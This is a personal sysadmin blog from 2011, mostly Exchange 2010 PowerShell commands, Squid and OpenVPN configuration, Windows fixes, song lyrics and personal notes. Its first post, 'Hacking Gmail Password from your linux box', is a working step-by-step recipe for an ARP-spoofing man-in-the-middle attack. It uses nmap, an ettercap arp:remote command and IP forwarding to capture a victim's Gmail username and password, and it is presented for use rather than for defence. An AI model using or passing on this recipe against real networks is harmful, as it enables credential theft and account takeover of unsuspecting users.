Friday, December 30, 2011

Hacking Gmail Password from your linux box

1. install CentOS 4.4 (for me I'm using CentOS Mini 4.4, only 1 disc)
2. install nmap using yum (yum -y install nmap)
3. install ettercap (ettercap-0.7.2-1.2.el4.rf.i386.rpm)
4. login as root
5. nmap -sP 192.168.1.0/24 or 192.168.1.165 (scanning the victim's machine, using nmap)
6. ettercap -Tq -i eth0 -M arp:remote,oneway /192.168.1.165/ //
7. type in terminal -> echo 1 > /proc/sys/net/ipv4/ip_forward (make sure IP Forwarding from your linux box, so victim's machine can use internet)
8. from the victim's machine, default gateway should be your linux machine.
9. go to https://gmail.google.com and login to gmail
10. go back to linux box and check on screen, voilà ..! you will see the username and password of the victim.

Thursday, December 29, 2011

Great Expectations



i did it... i did it... i am a wild success. i sold them all...all my paintings. u don't have to be embarrassed by me anymore! i'm rich! isn't that what you wanted? huh? isn't it great? are we happy now? Don't you understand that everything i do, i do it for you. Anything that might be special in me...is you!

Monday, December 26, 2011

In the air tonight - Non-Point

I can feel it coming in the air tonight, Oh Lord
I've been waiting for this moment, all my life, Oh Lord
Can you feel it coming in the air tonight, Oh Lord, Oh Lord

Well, if you told me you were drowning
I would not lend a hand
I've seen your face before my friend
But I don't know if you know who I am
Well, I was there and I saw what you did
I saw it with my own two eyes
So you can wipe off the grin, I know where you've been
It's all been a pack of lies

And I can feel it coming in the air tonight, Oh Lord
I've been waiting for this moment for all my life, Oh Lord
I can feel it in the air tonight, Oh Lord, Oh Lord
And I've been waiting for this moment all my life, Oh Lord, Oh Lord

Well I remember, I remember don't worry
How could I ever forget, it's the first time, the last time we ever met
But I know the reason why you keep your silence up, no you don't fool me
The hurt doesn't show; but the pain still grows
It's no stranger to you or me

And I can feel it coming in the air tonight, Oh Lord...

Download

Tuesday, December 20, 2011

FIX : margin of section 1 are outside of printarea MS Word

To resolve this issue, correct the margins in the section that appears in the error message. To do this, follow these steps:

  1. In Microsoft Office Word 2003 and in earlier versions of Word, click Go To on the Edit menu.

    In Microsoft Office Word 2007, click Replace in the Editing group on the Home tab, and then click the Go To tab.
  2. In the Go to what box, click Section.
  3. In the Enter section number box, type the number of the section that appears in the error message, then click Go To, and then click Close.
  4. In Word 2003 and in earlier versions of Word, click Page Setup on the File menu.

    In Word 2007, click Page Setup Dialog Box Launcher in the Page Setup group on the Page Layout tab.
  5. Click the Margins tab, and then click OK.

    Note A Microsoft Word dialog box appears that has the following warning message:

One or more margins are set outside the printable area of the page. Choose the Fix button to increase the appropriate margins.

  1. Click Fix. This increases any margin for the nonprintable region to the minimum permitted setting.

    Note If you are familiar with the minimum margins that the printer requires, you can manually increase the Top, Bottom, Left, and Right margins to the correct specifications.
  2. Repeat steps 1 through 6 if more than one section has margins that are set outside the printable area.

Friday, December 16, 2011

How To Restore Toshiba Satellite Back To Factory Settings?

1) hold down the power button for 10 (ten) seconds to switch off your machine.

2) press and hold the 0 (zero) key and at the same time, tap the power button once to switch on your notebook.

3) when the machine starts beeping; release the 0 key.

4) when prompted by the warning screen; select yes to continue with the system recovery.

5) select recovery of factory default software; click next.

6) select recover to out-of-box state. click next again.

7) click next to start recovery.

Tuesday, December 13, 2011

What is the difference between Port-based VLAN and Tagged based VLAN?

Port-based VLAN is a grouping based on physical ports on the Switch. Each port is assigned to a specific group and if a user is moved into a different port on the Switch that is not part of the VLAN group they will not be allowed to communicate with the initial group.

Tagged based VLAN is slightly harder to configure; however, the results are more beneficial. By using tagged-based VLAN, groups are assigned tags and therefore ports are no longer specifically assigned. Someone could be plugged into port one then plug into port 15 and still be a part of the same VLAN group due to the tagging of the group.

TEG-424WS supports IEEE 802.1Q tagged based VLAN

Generic Win32 Host Service on Windows Startup

WindowsXP Service Pack 2 Machine

start -> run -> cmd ->
reg add HKLM\Software\Microsoft\OLE /v EnableDCOM /t REG_SZ /d "N" /f

Download and install Hotfix - WindowsXP-KB894391-x86-ENU.exe (English)
WindowsXP-KB894391-x86-KOR.exe (Korean)
Windows 2003 - WindowsServer2003-KB894391-x86-enu.exe

Monday, December 5, 2011

Back to Pride Rock

Everyday



I used to be the kind of guy
Who'd never let you look inside
I'd smile when I was crying
I had nothing but a life to loose
Thought I had a lot to proof
In my life, there's no denying

Goodbye to all my yesterdays
Goodbye, so long, I'm on my way

I've had enough of crying
Bleeding, sweating, dying
Hear me when I say
Gonna live my life everyday
I'm gonna touch the sky
And I spread these wings and fly
I ain't here to play
I'm gonna live my life everyday

Change, everybody's feeling strange
Never gonna be the same
Makes you wonder how the world keeps turning
Life, learning how to live my life
Learning how to pick my fights
Take my shots while I'm still burning

Goodbye to all those rainy nights
Goodbye, so long, I'm moving on

I've had enough of crying
Bleeding, sweating, dying
Hear me when I say
Gonna live my life everyday
I'm gonna touch the sky
And I spread these wings and fly
I ain't here to play
I'm gonna live my life everyday

Hit the gas, take the wheel
I've just made myself a deal
There ain't nothing gonna get in my way
Everyday

Goodbye, so long, I'm moving on

I've had enough of crying
Bleeding, sweating, dying
Hear me when I say
Gonna live my life everyday
I'm gonna touch the sky
And I spread these wings and fly
I ain't here to play
I'm gonna live my life everyday

I, oh I, oh I, I'm gonna live my life everyday
I (gonna touch the sky), oh I (spread these wings and fly), oh I
I'm gonna live my life everyday.......!

Friday, November 25, 2011

Notes

You can do whatever you want, it's your decision and it's your life !
ကိုယ့္မွာတိတိက်က် စိတ္ကူးယဥ္ေမွ်ာ္မွန္းခ်က္ မရွိဘူးဆိုရင္ တိတိက်က် စိတ္ကူးရင္ေမွ်ာ္မွန္းခ်က္ ရွိသူေတြရဲ ့ ခိုင္းေစျခင္းကိုခံရလိမ့္မယ္။
I won't duck and run !
I won't duck and run !
I won't duck and run !

This world can turn me down but I Won't turn away

And I won't duck and run, cause I'm not built that way !
When everything is gone....
There is nothing there to fear
This world cannot bring me down, No cause I'm already here!

the bad news is that time flies. the good news... is that you're the pilot....


What i'm doing right now, everyday is like opening doors...
if i open the wrong one, all sort of bad things will come at me...
i gotta be careful which door I'm open...

If joy really comes in the morning time then I'm gonna sit back
and wait until the next sun rise....

Thursday, November 24, 2011

Squid Basic Auth

**Backup your existing squid.conf

Put/uncomment following lines to your squid.conf
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/squid_passwd

#auth_param basic program /usr/lib64/squid/ncsa_auth /etc/squid/squid_passwd <- 64bit Linux

ncsa_auth program is installed along squid in redhat flavours, under /usr/lib/squid/ . "/etc/squid/passwd" is the name of the file where all the passwords will be kept. You can change this to point to wherever you want in the file system.

auth_param basic children 5
auth_param basic realm Squid proxy-caching web server
auth_param basic credentialsttl 2 hours
auth_param basic casesensitive off


First line below is an ACL named "authenticated_user"
Second line defines the networks in the LAN. This should be changed according to your setup. ( i just copied over from def: squid.configuration :-) )
The third allows http access through the proxy for Authenticated connections coming from the specified networks.
acl authenticated_user proxy_auth REQUIRED
acl our_networks src 192.168.1.0/24 192.168.2.0/24
http_access allow our_networks authenticated_user

Once you have made the above changes to the squid.conf you have to create the username/passwords in the specified file. ( /etc/squid/squid_passwd in this )

For that, do,
htpasswd -c /etc/squid/squid_passwd username password

After adding the 1st user in the above way, to add more new users, use the below method.
htpasswd /etc/squid/squid_passwd username password

You can find out various parameters you can use with htpasswd from the man page.

When everything is done, simply restart the squid service..

Thursday, November 17, 2011

Recover Mailbox / Database (Exchange 2010)

All of you know that there are no storage groups in Exchange 2010 and hence no recovery storage groups as well. A recovery database (RDB) serves the functions carried out by a recovery storage group in previous versions of exchange. Few points need to be understood before we start playing with restore options in 2010.

- You cannot create a recovery database using the console. Use shell instead (New-MailboxDatabase -Recovery -Name RDB -Server “servername” -EdbFilePath "path" -LogFolderPath "path” )
- Recovery database can only be used for 2010 databases. Previous versions are not supported.
- You cannot create mailbox database copies of a recovery database.
- Online maintenance isn't performed on a recovery database.
- You cannot enable circular logging on RDB.
- A recovery database cannot be used to recover public folder data.
- Only one RDB can be mounted on a mailbox server at any time.
- Access to RDB using Outlook or OWA is not allowed.
- Mailbox management policies are not applied on a RDB.
- Mailboxes in a recovery database cannot be connected to user accounts.
- Data from a RDB can be merged to an existing mailbox or exported to a folder.
-------------------------------------------------------------------------------------
(1) After you restored Logs and Database file in to M:\

(2) Check your Database file's health (Clean Shutdown or Dirty Shutdown)

eseutil /mh "M:\Recover\E\Exchange_Snap_31102011-2300-20732\Database\Operation & Exploration\Operation & Exploration.edb"

(3) Also check Log files OK or Not
eseutil /ml 'M:\Recover\D\Exchange_Snap_31102011-2300-20732\logs\Operation & Exploration\e00'

(4) Soft Recovery without (/i or /a) options
eseutil /r e00 /l "M:\Recover\D\Exchange_Snap_31102011-2300-20732\logs\Operation & Exploration" /d "M:\Recover\E\Exchange_Snap_31102011-2300-20732\Database\Operation & Exploration"

(5) Repeat step 2 for database health, if it's clean shutdown

(6) You can start create new recovery database via EMS command
New-MailboxDatabase -Recovery -Name DB-recover -Server ny-mb1-1 -EdbFilePath "M:\Recover1\Operation & Exploration\Operation & Exploration.edb" -LogFolderPath "M:\Recover1\Operation & Exploration"

(7) After you've created the recovery database, mount it.
Mount-Database -Identity DB-recover

(8) Get-MailboxStatistics -Database DB-recover

(9) To recover the mailbox from recovery database to live database
restore-mailbox -identity zawhtet -RecoveryDatabase DB-recover

(10) Restore mailbox from recovery database to itsupport's mailbox specific folder
restore-mailbox -identity itsupport -RecoveryDatabase DB-recover -RecoveryMailbox zawhtet -TargetFolder "ZawHtet recovery"

(11) Restore Specific EMails to folder
Restore-Mailbox -identityinfo -RecoveryDatabase DB-recover -RecoveryMailbox zawhtet -SubjectKeywords "fuck off" -ContentKeywords "Bitches" -IncludeFolders \Inbox\Calendar -TargetFolder "Zawhtet's lost folders"

(12) Restore all the mailboxes from recovery database
Get-Mailbox -Database DB-recover | Restore-Mailbox -RecoveryDatabase DB-recover

(13) Remove recovery Database
Remove-MailboxDatabase -identity DB-recover


-------------------------------------------------------------------------------------
If the above steps doesn't work, you need to make hard repair.

eseutil /p "M:\Recover\E\Exchange_Snap_31102011-2300-20732\Database\Operation & Exploration\Operation & Exploration.edb"

After the process successfully completed, you can start defrag the database

eseutil /d "M:\Recover\E\Exchange_Snap_31102011-2300-20732\Database\Operation & Exploration\Operation & Exploration.edb"

Monday, November 14, 2011

Exchange 2010 Adding New-Mailbox

- Install PowerShell 2.0 (Can be install on Windows XP SP2 / SP3)
- Open PowerShell then type "notepad $profile" without quotes.
- Notepad will come up named with "Microsoft.PowerShell_Profile.ps1
- Copy and paste following line

$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://your-cas-server.mmx.com/PowerShell/ -Authentication Kerberos
Import-PSSession $s

- Save and exit the notepad.
- Open PowerShell
- Now you're ready to use PS.
-------------------------------------------------------------------------------------
(1) New-Mailbox -UserPrincipalName robertbg@mmx.com -Alias robertbg -Database 'Development Team' -Name 'Robert Gemmell' -OrganizationalUnit Development -Password (ConvertTo-SecureString -AsPlainText Pa55w0rd -Force) -FirstName Robert -LastName Gemmell -DisplayName 'Robert Gemmell'

(2) Set-Mailbox “robertbg” -MaxSendSize 20Mb -MaxReceiveSize 20Mb

(3) Set-CASMailbox robertbg -ActiveSyncEnabled:$false -OWAEnabled:$true -PopEnabled:$false -ImapEnabled:$false -MapiEnabled:$true

(4) Get-Service -name MSExchangeSA | restart-service (Type on Mailbox Server's EMS)

OR

(4) restart-Service -InputObject (get-Service -ComputerName ygn-mb1-2k8 -Name MSExchangeSA) (from remote client's powershell)

(5) Update-FileDistributionService -Identity your-cas-server -Type OAB (Type on CAS Server's EMS or remote client's powershell)

(6) Test-Mailflow -TargetEmailAddress 'robertbg@mmx.com' <- an email will received with message "This is a test message from Test-Mailflow"

-------------------------------------------------------------------------------------

Set-Mailbox -Identity dave -UseDatabaseQuotaDefaults $false -ProhibitSendReceiveQuota 2GB -IssueWarningQuota 1gb

Disable-Mailbox -Identity dave -Confirm:$false (Disable Account and mark dbase to delete)
-------------------------------------------------------------------------------------
Mail Enable for AD Users
------------------------
Enable-Mailbox dave -Database Development Team

Get-User -RecipientTypeDetails dave | Enable-Mailbox -Database Development Team
-------------------------------------------------------------------------------------
Exchange Servers Monitoring Commands
------------------------------------

Get-ExchangeServer | Test-ServiceHealth <- Check all the Exchange Services on all the exchange servers.

Test-ServiceHealth | Select-Object -Expand ServicesNotRunning | Start-Service

get-service *exch* <- check all the exchange services on local server

Get-Service *exch* | Where-Object {$_.Status -eq 'Running'} <- only running services

Get-ExchangeServer | ForEach-Object {Get-Service *exch* -ComputerName $_.Name | Where-Object {$_.Status -eq 'Running'}} <- check all the running services on servers

Get-Service MSExchangeAB -ComputerName ygn-cas-2k8 | fl * <- look detail on MSExchangeAB Service

Test-ServiceHealth | Select-Object -ExpandProperty ServicesNotRunning | Start-Service

(Start Services if not running)

Get-EventLog -list

Get-EventLog -LogName Application -Source *exch* -EntryType Error <- Only errors

Get-WmiObject Win32_LogicalDisk -Filter "DriveType='3'" | select @{n="Drive";e={$_.DeviceId}},@{n="Size";e={[math]::Round($_.Size/1gb,2)}},@{n="FreeSpace";e={[math]::Round($_.FreeSpace/1gb,2)}} <- check disk space on local server.

Wednesday, October 19, 2011

OpenVPN on CentOS 5

wget http://openvpn.net/release/lzo-1.08-4.rf.src.rpm

#wget http://dag.wieers.com/rpm/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.i386.rpm

hxxp://sohonetwork.blogspot.com/2010/08/installing-openvpn-on-centos-55-x8664.html

hxxp://nuttinu.wordpress.com/2010/07/17/installing_openvpn_on_vps_centos_5_based/

yum install rpm-build autoconf.noarch zlib-devel pam-devel openssl-devel gcc make

#####################################################################################

vi /etc/openvpn/server.conf

local 172.16.x.x
port 443
proto tcp
dev tun
ca /etc/openvpn/easy-rsa/keys/ca.crt
cert /etc/openvpn/easy-rsa/keys/server.crt
key /etc/openvpn/easy-rsa/keys/server.key
dh /etc/openvpn/easy-rsa/keys/dh1024.pem
;ca ca.crt
;cert server.crt
;key server.key
;dh dh1024.pem
server 10.10.10.0 255.255.255.0
push "redirect-gateway"
;client-config-dir /etc/openvpn/ccd
;route 172.16.1.0 255.255.255.0
;push "route 172.16.1.0 255.255.255.0"
push "dhcp-option DNS 172.16.x.x"
push "dhcp-option DOMAIN mmx.com"
ifconfig-pool-persist ipp.txt
client-to-client
keepalive 10 120
max-clients 50
comp-lzo
user nobody
group users
persist-key
persist-tun
status openvpn-status.log
verb 3

############################################################

vi /etc/sysconfig/iptables

-A POSTROUTING -o eth0 -j MASQUERADE
-A FORWARD -i eth0 -o tun0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i tun0 -o eth0 -j ACCEPT

############################################################

client.ovpn

client
dev tun
proto tcp
resolv-retry infinite
remote gateway.mmx.com 443
nobind
persist-key
persist-tun
ca ca.crt
cert client1.crt
key client1.key
comp-lzo
verb 3

Exchange 2010 - PowerShell Commands - III

Remove a message from Mail Queue

Remove-message -filter {FromAddress -eq “testuser@mmx.com”} -WithNDR $false

Get-Message -queue "ny-cas-2k8\319045" | remove-message -Confirm:$false


Send an Email from PowerShell v1.0

PS C:\> $smtp = New-Object Net.Mail.SmtpClient("your-cas-server.mmx.com")
PS C:\> $smtp.Send("sender@mmx.com","recipient@mmx.com","Test Email","This is a test")

Send an Email from PowerShell v2.0

PS C:\> $PSEmailServer = "your-cas-server.mmx.com"
PS C:\> Send-MailMessage -From "exchange-reports@mmx.com" -To "zawhtet@mmx.com" -Subject "Test email" -Body "This is a test email"

----------------------------------------------------------------------------------

Get-MailboxDatabase 'Mailbox-Dbase-1' | Get-MailboxStatistics | Sort totalitemsize -desc | Export-CSV C:\Mailbox-Stat.csv

Exchange 2010 - Check ServiceHealth, Configure Message Tracking Log with PowerShell

Test-ServiceHealth your-cas-server

Test-ServiceHealth your-mailbox-server

OR

Get-ExchangeServer | Test-ServiceHealth | ft Role,RequiredServicesRunning

--------------------------------------------------------------------------------
Get-TransportServer -identity your-cas-ht-server | fl *messagetracking*

Set-TransportServer your-cas-ht-server –MessageTrackingLogEnabled $true

Set-TransportServer -id your-cas-ht-server –MessageTrackingLogMaxAge 60.00:00:00

Set-TransportServer -id your-cas-ht-server –MessageTrackingLogPath “E:MessageTrackingLogs”

Set-TransportServer -id your-cas-ht-server –MessageTrackingLogMaxDirectorySize 3GB

Set-TransportServer -id your-cas-ht-server –MessageTrackingLogSubjectLoggingEnabled $true

Make Cisco Router as WebServer and Save Config to flash:

#sh flash (check your cisco router's flash for available space) copy running-config flash:backupconfig (that will save running-config file as backupconfig in flash) copy flash:backupconfig running-config (that will copy back your backupconfig file to running-config) erase flash:. (delete everything under flash:) delete /force /recursive flash:backupconfig (that will delete file named backupconfig from flash:) =========================================================== hxxp://ardenpackeer.com/ios-features-management/how-to-set-up-a-cisco-router-as-a-webserver/ R3(config)#ip http server R3(config)#ip http path flash: R3#copy tftp flash: Address or name of remote host [192.168.1.1]? 192.168.1.1 Source filename [picture.jpg]? index.html R3#dir

Friday, October 7, 2011

Exchange 2003 Server stop and start Services

Copy and Paste these lines to notepad. Save with ".bat" file.

net stop MSExchangeES /y
net stop MSExchangeIS /y
net stop MSExchangeMTA /y
net stop MSExchangeSA /y
net stop POP3Svc /y
net stop IMAP4Scv /y

If POP3 and IMAP4 are not used by your exchange organization, you can eliminate the last two lines.
Also you can use similar batch file script to start all those services, after the exchange server restarted.

net start MSExchangeES /y
net start MSExchangeIS /y
net start MSExchangeMTA /y
net start MSExchangeSA /y
net start POP3Svc /y
net start IMAP4Scv /y

Exchange 2010 - PowerShell Commands - II

Remove User Mailbox UID after you've deleted from the EMC

Get-MailboxStatistics -Database 'Administration' | Where-Object {$_.DisconnectDate -Notlike $NULL} | FL DisplayName, DisconnectDate, MailboxGuid

Remove-Mailbox -Database 'Administration & Business Development' -StoreMailboxIdentity 889a9b8e-5883-42a6-a8a7-350483d34456

Get-MailboxStatistics -Server 'your-mb-svr.mmx.com'
Get-MailboxStatistics -Database "Operations"

Get-Message -Filter {FromAddress -like "*@gmail.com"} | Format-List

Restart-Service -InputObject (get-Service -ComputerName your-mb-svr -Name MSExchangeSA)

Exchange 2010 - PowerShell Commands

Restart Exchange Services

Get-Service | ? { $_.name -like "MSExchange*" -and $_.Status -eq "Running"} foreach ($service in $services) {Restart-Service $service.name -Force}


Get-wmiobject win32_service | ? {$_.name -like "MSExchange*" -and $_.StartMode -eq "Auto"} foreach ($service in $services) {Restart-Service $service.name -Force}

##########################################################################################################################################################################################3

Get-service -name "msexchange*" -dependentservices Where-Object {$_.Status -eq 'Running'} Stop-Service

Starting all exchange services could be done by following code:

Get-service -name "msexchange*" start-service

get-service -name "msexchange*" -DependentServices -exclude msexchangepop3,msexchangeimap4,msexchangeMonitoring start-service

In which we would query the services and only start services which have been set to start automatically.

Get-Service -name "msexchange*" where-object {$_.startuptype -eq "automatic"} start-service



Get-Service | Where {$_.DisplayName -Like "Microsoft Exchange*"}

=======================================================

Update OAB on Client Access Server
1. Restart "MS Exchange System Attendant Service" on (Mailbox Server)

2. Update-FileDistributionService -Identity my-cas-server-host-name -Type OAB

Testing Commands

test-mailflow your-mailbox-server -TargetEmailAddress zawhtet@mmx.com
test-servicehealth <-- check whether require services are running or not!
test-mapiconnectivity
test-outlookconnectivity

Monitoring Mail Queue and Messages
get-message
get-queue

Message Tracking and Export to HTML file

Get-MessageTrackingLog -EventID Deliver/Fail -Sender "Fazana@gmail.com" -Recipients "sandi@mmx.com" -Start 10/3/2011 -End 10/4/2011 | ConvertTo-Html Timestamp, ClientIp, EventID, Sender, {$_.Recipients}, TotalBytes, RecipientCount, MessageSubject | Set-Content c:\sandi.html

get-messagetrackinglog -EventID Fail -start "1/20/2011 12:00am" -resultsize 3000| where {[string]$_.recipients -like "*@gmail.com"}

Get-MessageTrackingLog -resultsize unlimited |where-object {$_.Recipients -like "*@gmail.com, *@yahoo.com" -AND $_.EventId -eq "Send"} |ft -auto >>d:\external.txt

get-transportserver | Get-MessageTrackingLog -ResultSize Unlimited -Start “10/17/2009 8:00AM” -End “11/17/2009 5:00PM” -eventid Send | WHERE {$_.recipients -like “*domainname.com*”} > “c:\send.xls”

If you found that mail flow for your Server is slow

Get_receiveConnector

Set-ReceiveConnector "your receive connector name" -MaxAcknowledgementDelay 0

Set your transport Connector to Send and Receive 20MB Emails

Set-TransportServer your-cas-svr -MaxConcurrentMailboxDeliveries 20

Get-TransportConfig
Get-TransportConfig | fl MaxSendSize,MaxReceiveSize
Set-TransportConfig -MaxReceiveSize 20MB -MaxSendSize 20MB

Get-Adsitelink DEFAULTIPSITELINK | select Maxmessagesize
Set-Adsitelink DEFAULTIPSITELINK -MaxMessageSize 20MB

Get-SendConnector
Get-Sendconnector "InternetSendConnector" | fl Name,MaxMessageSize
Set-Sendconnector "InternetSendConnector" -MaxMessageSize 20MB

Get-Receiveconnector
Get-Receiveconnector -Identity "" | fl Name,MaxMessagesize
Set-ReceiveConnector -Identity " -MaxMessageSize 20MB

Get-Mailbox zawhtet | fl MaxSendSize,MaxReceiveSize
Set-Mailbox Zaw Htet -MaxSendSize 20MB -MaxReceiveSize 20MB

Get-ForeignConnector | fl Name,MaxMessageSize
Get-SendConnector | fl Name,MaxMessageSize
Get-ReceiveConnector | fl Name,MaxMessageSize

Set Individual User's Mailbox (Send / Receive Message Size)

Get-Mailbox zaw Htet | Format-Table Name, *Max*

Set-Mailbox zaw Htet -MaxSendSize 20mb -MaxReceiveSize 20mb

Get and Set Room Mailbox to auto accept

get-Mailbox | where {$_.ResourceType -eq "Room"} | Set-MailboxCalendarConfiguration -AutomateProcessing:AutoAccept

Anti-Spam Configuration

Add-IPBlockListProvider -Name "SpamHaus IP Block List Provider" -LookupDomain "zen.spamhaus.org" -BitMaskMatch 127.0.0.1

Set-IPBlockListProvider "SpamHaus IP Block List Provider" -RejectionResponse "Your message was rejected because the IP address of the server sending your message is in the block list of SpamHaus IP Block List Provider service."

Get-IPBlockListProvider | Test-IPBlockListProvider -IPAddress xx.xx.xx.xx

Misc CMDs

Get-MailboxStatistics zawhtet | fl totalitemsize

Get-Mailbox zawhtet | fl *Quota

Update-GlobalAddressList -Identity "Default Global Adress List" -DomainController

Update-OfflineAddressBook “Name of Address Book”

Get-OfflineAddressBook | Update-OfflineAddressBook

Get-ReceiveConnector | fl Id*,Pr*

Get-SendConnector | fl Id*,Pr*

Get-TransportServer | fl Id*,*pro*log*

Get-MessageTrackingLog | fl

Remove-Message -Filter {FromAddress -like "*spammer.com*" -and SCL -gt 5} -withNDR $false

Remove-Message -Filter {FromAddress -like "*dorofej.com*" -and SCL -gt 7} -withNDR $false

Remove-Message -Server your-cas-svr.mmx.com -Filter {FromAddress -eq "zawhtet@mmx.com"} -WithNDR $false

Get-Queue -Filter {MessageCount -gt 100}

Get-Queue -Identity your-cas-svr.mmx.com\mmx.com | Format-List

Get-TransportServer your-cas-svr | fl

Get-MailboxServer your-mb1-svr | fl

nslookup

set q=mx
mail.mmx.com

This command will set the default warning quota on the database Mailbox Database on server your-mb1-svr to 975MB, and the limit at which users will no longer be able to send mail to 1000MB:

Set-MailboxDatabase your-mb1-svr\Mailbox Database -IssueWarningQuota 975MB -ProhibitSendQuota 1000MB

This command will set the warning quota for user zawhtet to 1475MB, and the limit at which the user will no longer be able to send mail to 1500MB. It will also configure the mailbox not to use the database default quotas:

Set-Mailbox zawhtet -IssueWarningQuota 1475MB -ProhibitSendQuota 1500MB -UseDatabaseQuotaDefaults $false


Command to list all messages to a specific domain for the day


get-transportserver | Get-MessageTrackingLog -ResultSize Unlimited -Start "10/29/2009 8:00AM" -End "10/29/2009 5:00PM" -eventid Send | WHERE {$_.recipients -like "*gmail.com*"} > "c:\gmail.xls"

Get-MessageTrackingLog -ResultSize Unlimited -Start “10/29/2010 8:00AM” -End “10/29/2010 5:00PM” -eventid Send | WHERE {$_.recipients -like “*gmail.com*”}

Get-Message -Filter {FromAddress -like "*@gmail.com"} | Format-List

Roles

New-ManagementRoleAssignment -Role "Message Tracking" -SecurityGroup "Exchange Message Tracking Access"
New-ManagementRoleAssignment -Role "View-Only Recipients" -SecurityGroup "Exchange Message Tracking Access"

New-ManagementRoleAssignment -Role "Message Tracking" -User zawhtet
New-ManagementRoleAssignment -Role "View-Only Recipients" -User zawhtet

Set-OrganizationConfig -ReadTrackingEnabled $true
Set-Mailbox zawhtet -MessageTrackingReadStatusEnabled $true
Get-OrganizationConfig | fl *read*

test-mailflow
test-servicehealth
test-mapiconnectivity
test-outlookconnectivity
get-mailboxstatistics -server your-mb-svr
get-mailboxstatistics -identity zawhtet
get-mailboxdatabase
get-transportpipeline
Get-ExchangeServer | Format-Table Name, *Version*
Get-ExchangeServer | Format-Table Name, Edition
Get-ExchangeServer -Status | Format-List
Get-ADSite
Get-ADSiteLink
Get-RoutingGroupConnector
Get-RoutingGroupConnector | ft Name,Cost
Set-RoutingGroupConnector -Identity “\\” -Cost 1
Get-offlineaddressbook | fl

Get-Mailbox -resultsize unlimited | Set-CasMailbox -ActiveSyncEnabled:$false

Get-User -OrganizationalUnit "mmx"


Get-WebServicesVirtualDirectory | fl
Get-AutodiscoverVirtualDirectory | fl
Get-OfflineAddressBook | fl
Get-OabVirtualDirectory | fl
Get-OabVirtualDirectory OAB* | fl

Get-ForeignConnector | fl Name,MaxMessageSize
Get-SendConnector | fl Name,MaxMessageSize
Get-ReceiveConnector | fl Name,MaxMessageSize
Get-ADSiteLink | fl Name,MaxMessageSize
Get-RoutingGroupConnector | fl Name,MaxMessageSize
Get-TransportConfig | fl MaxSendSize,MaxReceiveSize
Get-DistributionGroup | fl name,MaxSendSize,MaxReceiveSize
Get-DynamicDistributionGroup | fl name,MaxSendSize,MaxReceiveSize
Get-Mailbox | fl name,MaxSendSize,MaxReceiveSize
Get-MailContact | fl name,MaxSendSize,MaxReceiveSize
Get-MailPublicFolder | fl name,MaxSendSize,MaxReceiveSize
Get-MailUser | fl name,MaxSendSize,MaxReceiveSize

get-transportconfig | fl *

Get-AddressList | Update-Adresslist

set-transportserver you-cas-svr -ExternalPostMasterAddress spamfilter@mmx.com

set-transportconfig -externalpostmasteraddress spamfilter@mmx.com

set-OfflineAddressBook -Identity "Default Offline Address Book" -GlobalWebDistributionEnabled $true


-------------------------------------------------------------------------------------------------------------


TOP 10: Exchange Server 2010 PowerShell Commands

Here you will find a collection of the most commonly used commands I run in Exchange 2010. Enjoy!

1. Check Database Availability Group Replication Status
In some cases you may have many copies of Exchange 2010 databases and you want to view the status of them all. This command will perform that task for you but also show you a very important characteristic such as the content index state.

Get-MailboxDatabaseCopyStatus

2. Fix a Failed Content Index
In rare cases you may notice the content index has failed. Activating a database copy with a failed content index requires additional guidance but to fix the problem beforehand, run the following.

Update-MailboxDatabaseCopy -Identity [id] -CatalogOnly

3. Move a Mailbox in a Batch
There may be cases where you need to keep track of mailbox moves both those which are in progress and to clear them afterward.

New-MoveRequest -Identity [id] -BatchName

4. Check Move Progress
The following command simply gets all the move requests and their statistics.

Get-MoveRequest | Get-MoveRequestStatistics

4. Clear a Move Request
In order to move a mailbox after a move request has completed or failed, you need to remove the request which can be done in bulk, individually, or by a batch name.

Get-MoveRequest | Remove-MoveRequest

or to remove a batch of requests already labeled...

Get-MoveRequest -BatchName [name] | Remove-MoveRequest

5. Determine Unified Messaging Enablement of a User
To check if a user is enabled for Unified Messaging, run the following.

Get-Mailbox | fl UME*

6. View Queues of all Hub Transport Servers
In some cases you may want to quickly view the queue status of all HT servers to determine if you have significant blockage along the transport pipeline.

Get-TransportServer | Get-Queue

7. Determine Active Calls on a UM Server
I find this one helpful as you can quickly see if a server is in use before performing a UM service reset or else use it for troubleshooting to see the status of a test call.

Get-UmServer | Get-UMActiveCalls

8. Determine Exchange Server 2010 Service Status
This command is helpful in quickly seeing which services are running particularly after a reboot.

Get-Service | Where {$_.DisplayName -Like "Microsoft Exchange*"}

9. Get Mailbox Sizes and Sort by Size

Get-Mailbox | Get-MailboxStatistics | where {$_.ObjectClass –eq “Mailbox”} | Sort-Object TotalItemSize –Descending | ft @{label=”User”;expression={$_.DisplayName}},@{label=”Total Size (MB)”;expression={$_.TotalItemSize.Value.ToMB()}},@{label=”Items”;expression={$_.ItemCount}},@{label=”Storage Limit”;expression={$_.StorageLimitStatus}} -auto

10. Check Autodiscover Settings

Get-WebServicesVirtualDirectory | fl InternalUrl,ExternalUrl
Get-EcpVirtualDirectory | fl InternalUrl,ExternalUrl
Get-OwaVirtualDirectory | fl InternalUrl,ExternalUrl
Get-OabVirtualDirectory | fl InternalUrl,ExternalUrl

Get-ClientAccessServer | fl AutoDiscoverServiceInternalUri

---------------------------------------------------------------

Get-Queue -id Submission | Get-Message | Remove-Message -WithNDR $false

Retry-Queue Submission -Resubmit $true

---------------------------------------------------------------------

How to clear corrupted Messages from the Hub or Edge Submission Queues

If you have ever tried to delete messages stuck in an overflowing Exchange 2007 submission queue you will notice that you can not simply delete the messages as you can for other queues.
In order to clear the Exchange 2007 submission queue you will have to create a new queue database from scratch. This may cause some mail loss but will allow you to get your mail queues functioning properly again.
First you need to be member of the apropriate Security Groups: Local Administrator for Edge Transport Server and Local Administrator+Server Administrator for Hub Transport Server.

Step 1 Stop the Microsoft Exchange Transport service like this:
Computer Management -->Services-->Locate and stop the Microsoft Exchange Transport Service
or from Exchange Managemet Shell type: Stop-Service MSExchangeTransport

Step 2 Navigate to the Queue folder location. By default the folder is located here:
C:\Program Files\Microsoft\Exchange Server\Transport Roles\Data\
Here you will find a folder named Queue .Rename this folder give it a name like Queue2.Create a new empty folder named Queue.

Step3 start the Microsoft Exchange Transport service like this:
Computer Management -->Services-->Locate and start the Microsoft Exchange Transport Service
or from Exchange Managemet Shell type: Start-Service MSExchangeTransport
